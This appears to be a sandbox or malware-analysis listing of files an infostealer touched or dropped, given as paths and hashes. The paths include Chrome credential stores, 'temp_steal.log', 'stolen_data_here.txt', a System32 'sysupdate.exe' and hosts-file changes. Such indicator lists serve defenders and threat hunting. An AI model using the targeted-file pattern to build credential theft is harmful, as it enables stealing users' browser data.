- SHA1 8425470cf70b2726c26284d54b2bd60af75ef08d
- SHA512 b6d95e01ff4c42b1250617a0753548712847fe76e73184f50ec8557285c9c435958b6b60c4a2bb2d20dfd4e29cd210c1a5ea0409d49fc73c8ee89c4eb429f3db
- SSDEEP 384:AmjUj7KxkXqKf/pUZNCgVLH2Hfgsl5x7pLuLc8uvXODUf+ErU3xeHGHHe7RmBcIy:AGUj7KxkXqKf/pUZNCgVLH2Hfgsfx7pL
- TLSH T1B572EA677C4C997B0F94C6CCD816BF4FACB6024B55EE886443FA982903D5ACB11062F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\5deb1ec42c0814a7542dba811360418cf8978a5d\index.txt
- Size 143B
- SHA256 98f84d6f0f52a85efa5c5a1fc3b7a05d33816c75689358585302d89865fd6c6d
- MD5 a7d6836e7d498dc027acec6e2dbb1bbf
- SHA1 ad9ddb5db672e59d1ca535e21dfbfd65eed95f38
- SHA512 39689caad95523b241ce84f0da0fef76d22d8bd07ae39316582542a63d84c131f77601ac8040dfe692226b1e67ae4374c4f127328d784eb2923eb5c8d3bad062
- TLSH T13BC08C8F5232800EB589EA822500A22C82032A8C0CDC1C30C1D0644B5522A20B3D4E02
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\5deb1ec42c0814a7542dba811360418cf8978a5d\index.txt~RFe58c4e1.TMP
- Size 150B
- SHA256 f6276701d4365b05a1a0fa5e94c5b18fe8c95cc8a480bc3c0f75eaa0be8913fe
- MD5 43af30c4108fd90df7d75c2565c9c067
- SHA1 69517ed62c64cacbb6868c2fc3ff08e2412174a4
- SHA512 f5c9ab416f326eac2808441134809f12e6cf76b6b43a1570076f95794723bc731a39d8b7f8d7de64ea42baae066139680f190aff46e63c60bd474dae7aa57eac
- TLSH T120C08C8F6132800EB649E5831400B26C82532E8C0CCC0C30C1D0704B6132621B3D8E02
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 144B
- SHA256 a39cbf7f9a42b901b47708773c9be4bcc2fab62961a8e03338d0b14384bc54b0
- MD5 eb6f0dbd9d82ec45c00f3b751e947227
- SHA1 a311a1f2bdd39f53823b77d3635bd1b9e152224a
- SHA512 180381979435d89901cfaa2dcd1d6c060223c8d9838d637caafc418d10c929fca218a074c96178189a769955c658d111f6dabcd8d32213ed430ad3ae129e0664
- TLSH T199C01251C506A323C00703B51282989CB3189F24F705035862E059B79837573812B295
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58d424.TMP
- Size 96B
- SHA256 8f99694b7bef592722919b749dc478265db43691c08c51eaa89827df28acc65c
- MD5 b4755f086a6dbb3abadd3a5ceb980dd7
- SHA1 702c9d75f5ddc05f1caa2c9d76acd171a57538dc
- SHA512 021fdc6cad7e6cb1002565184534722c5c8fd5f82b246db59034f0ac05550c1269f920101df54616ce83c8ff81a9c51ca6874e320d71121657fc2a9f742b6f7b
- TLSH T196B02200C0032202C00303B0288288E83030CF20C2030202F2E00B23CE382200823020
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 18368657021ee918730518b2122a49200f91dd2a18fccd3359301735a5bead9b
- MD5 a9617473ad50d7c4b8d9114612e3d505
- SHA1 683955582b2a3998866ac6bc3ebeee44ca2d9337
- SHA512 8847e233405217a6ce4db3db30fe8aa5d930474c26593a54547fb02fdb3d6558f6ed01462ad66a03057211187cb972f806643f118fbe3ade03592b82875edd7f
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OAvWLnbVumgnpK:1nbZeMrv/hGtAvVnpK
- TLSH T134D3864B3A743102EDE58A765CE050BB5E3CB16D8F55A5D438B620588EF2863A23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 199KB
- SHA256 e3a41206355721883b24bdac0f44fd0ad45b09137b8426c62b7debf9f25513ab
- MD5 487eaf9134d9eaadb9586657d5af6847
- SHA1 2151852091b12d1541f95ae4d4de0005dcbdfd98
- SHA512 9d901a30d7e32b8df6dc9092d0ca30d87ce7e5386bb3683d6c54f2c21f212e932db19946ac37a10c84fe2124c27955dbfe5ee0ef5c0dee7c5304113dd8c52077
- SSDEEP 6144:OlcaeSSinIN9hUJXQbQ2rOk0HOGm/SFyEEk:nSSJN9+AbNrOjuGdF2k
- TLSH T1A114236BCD0749BB18BD9AA8706FB513CD2253AFA16774CD3248B94D92DC0C51E37A32
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 198KB
- SHA256 f1d96b63c653812faaf3594b99733ed8edb2c3b3e7b2a314c13f43f26c4e1fa1
- MD5 a75e74ea2642fa3353edfa1c6f945671
- SHA1 779af0166bd82ad145da1b1af20196b075cf1aca
- SHA512 0b524121a02ba16f61b4da741e6207223c311a14ae31c7161948d85cd929cecb9e5bdf20ea150dc2c06e8a5821d9f5cf3e683044b3fd484e636e9ff88bdc517c
- SSDEEP 6144:5caeSSinIN9hUJXQbQ2rOk0HOGm/SFyEEk:QSSJN9+AbNrOjuGdF2k
- TLSH T102141357DE0646BB28BC96A4716FE513CE1213AF716770C93348AA4D92984CA1F37B33
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 91KB
- SHA256 c57daec606faec2755dcd28a9af4b173acce5ea23fda7fbcd98daf6afee8ca32
- MD5 f7e7715676185e2b8690b7cb2d9ec3eb
- SHA1 3a6914cbd15566b8b6c24b7691565d3ffc1c76ab
- SHA512 09bd85642c8727213c6623c2fff8159e9388a89d82015c9743f1f41a7724f2bf85ef73d208fd0f05475cd737cbf616bbbbebc33468a6a5af958b340e428f15bb
- SSDEEP 1536:cpxcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9YEk:W3Qw/xLANk0mUW5GmRntSFCjEENW
- TLSH T14E9312BA9E2645F799BD4691729E790ACD12130E709FA9CC7268539C21D01CC2B73F33
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 89KB
- SHA256 8229ad78dc7718c88d994222cf2967c9ca7f31f97f2fd742a38b827135088a73
- MD5 082b296d49282d4fe6901e4032ce65cf
- SHA1 6c6200913b87813da2e1934c0b2c6b47f836e4c7
- SHA512 5b782f1f0de73fe444f9228df8c875f988c74e3f39936d2af282482ad024baeaf39b00acf7cbb8a398168320f80a7f95ae5f1f057361cd5717bc46591352da90
- SSDEEP 1536:ip/CcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9YW:aC3Qw/xLANk0mUW5GmRntSFCjEENL
- TLSH T1379312BA4E2A46E7997D4A9176AD7909CE12530D705FA9CC316C638C61D01C82F72F73
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\13thstreetrep.org_chromess.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ehsncl5x.2bs.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 251B
- SHA256 17fb4750241e420692fe8fb07c2c72a2c3ccab28e1d6b4e1e75a737122b6e7ee
- MD5 372875de2cb93cd59e720ff8365cb137
- SHA1 e47c3c820e8480e237fa6d1dd1f5ed98bfdf59fe
- SHA512 1e1b06d4c4e33819f65e87ec6b2b278a9ba4da953465b16f06aefc8104cd70b8d35d08733cf90d9044d84aa611fe655dbec29196833248334c326c4673a27ac3
- TLSH T16AD0955BB148CA7C0000117740F38D4DDAA44C283F037D306964CD4D328049045F6443
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 252B
- SHA256 2d86c76c77bbdf55a0ae3e7ecf3bd82425261f04e383a9f64165de8437156065
- MD5 400a27d2bb498557d8337f3903defcbe
- SHA1 e36ca11d8069347cdc593396ee36096ab175bbaa
- SHA512 4083cc03ea28990362941f3fa669171dbad7205ef688739aa23bec58fbb9dcc2175c6167befb2be0a2233e696c1ad4eaddb54c14cb5b9cde259c46f7162ae4c3
- TLSH T1FDD0A59BB149CA7D0001157B50F38D4DDBD54C283F176D307965DD4D378145545F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 183KB
- SHA256 cd49fbe6673ab186d09b54bacf353cedfd4e8e34effea35c66a446e804cbbb4a
- MD5 e3d9ae23434ecf0bcc1b6f0340ac3720
- SHA1 4913656a8e4d470d49983418a6fa1975a37a7a85
- SHA512 9ea7a7daefe797fee5dacefc38e083cc0038e4b40c5ac8166f7f50dbd01e8b6bba33c3175471b9e74c91308d615c74c25c4cba7eae7b17fc45f67bf4067c3fad
- SSDEEP 3072:64FPRaQxbGbhPhFVfOhk74WL53dXS1IYGNWkv:1khhFVmhkEWHFNWi
- TLSH T14504C740D6F3CE2B05865BAB181637D1A578B7B0D2EC81FB20B27A67F0768A7D31D611
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 183KB
- SHA256 8d1f451c1f3c897b177a6b6b3e1b24678ae6c0dcb825cae1b41671d9cf15d8be
- MD5 7d310dc060c4c20d65978f3745356b82
- SHA1 350b13d1a16db13f9c6976512c0f98ca0fd0d37f
- SHA512 7990933f78fe57a9c30ca6b0c13a29f0c6f760d60f5ad08805abd954fe260fc7c12647415ae646d8df3d2bfc7becfbf978514daa2eeca9e5268c647b7a26c938
- SSDEEP 3072:K4FPRaQxbGbhPhFVfOhk74WL53dXS1IYGNWkr:FkhhFVmhkEWHFNWe
- TLSH T19904C740C6F3CE6B05865BAB181637D1A578B7B0D2EC81FB20B27A67F0768A7D31D611
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 49KB
- SHA256 78928357cef0a48f7a731833246fc0110e95a7ad17aeaca40df0cb99ac49d93f
- MD5 aa47c3b8c62e1877dc7ccbe32bb042bc
- SHA1 d1bd7bc8abb6f98909cd80533fd5c3909030e5a3
- SHA512 432d6b96ce42b0c2a17259fd4dfcbd5653147f49b6adc8f8dda399db684e95b965fd4ed45a5cb25b8ac73d89881e61616772df91cb5ab5a47b7facdb3d535de0
- SSDEEP 768:QhR/ByYGy2obb+7+Kn45//w4TC1XXGblfA0hKFcI:kRMYGyJ+7+j5Q4TEXGblf9hucI
- TLSH T1AE33F60477F98111E1BF9BBA4DB292119B31F8979C32D79E06D5018E1AB3740CEA8B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH